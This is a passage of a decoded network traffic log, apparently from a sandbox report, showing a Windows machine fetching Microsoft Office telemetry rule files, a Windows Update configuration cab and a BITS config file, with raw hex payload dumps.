2024-11-20 22:12:33 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:33 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:33 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221233Z-1777c6cb754mrj2shC1TEB6k7w0000000a9g00000000m04w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:33 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:35 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:35 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 7f65af6f-801e-0067-5f8c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221235Z-r1d97b99577gg97qhC1TEBcrf4000000097g00000000n67d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:35 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:35 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:35 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:35 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8157cc8d-f01e-0003-1961-3b4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221235Z-178bfbc474bv7whqhC1NYC1fg400000000eg00000000k8u7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:35 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.7	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:35 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:35 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: a24720e5-f01e-0096-3f65-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221235Z-178bfbc474bwh9gmhC1NYCy3rs00000000n000000000wa9s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:35 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.7	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:35 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 3029707a-401e-0047-3163-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221235Z-178bfbc474bpnd5vhC1NYC4vr400000000gg00000000bu7c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:35 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:35 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 3af7945d-501e-0016-1564-3b181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221235Z-178bfbc474bv7whqhC1NYC1fg400000000h000000000hc9p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:36 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	49740	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:36 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=dSkSl3rp7HTCF2P&MD=NeNfOln1 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 22:12:37 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 67dc2bcf-7742-4306-ae06-0ca5198bf81a MS-RequestId: 127e0edb-6879-4157-a9a2-f009c1c095b9 MS-CV: R7WIgYVQF0Wu9QW0.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 22:12:36 GMT Connection: close Content-Length: 24490
2024-11-20 22:12:37 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-20 22:12:37 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	49756	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:37 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 22:12:37 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF57) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=239529 Date: Wed, 20 Nov 2024 22:12:37 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:37 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:37 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221237Z-178bfbc474bnwsh4hC1NYC2ubs00000000g000000000ynmg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:37 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:37 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 76e93f39-101e-0034-5559-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221237Z-178bfbc474bpnd5vhC1NYC4vr400000000kg00000000bkdx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:37 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:37 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:37 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 538c974f-101e-0028-648c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221237Z-r1d97b99577656nchC1TEBk98c00000009h000000000b20p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:37 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.7	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:37 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:38 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: ac667451-e01e-003c-3e8c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221238Z-r1d97b99577n5jhbhC1TEB74vn00000009c000000000hz4y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:38 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> 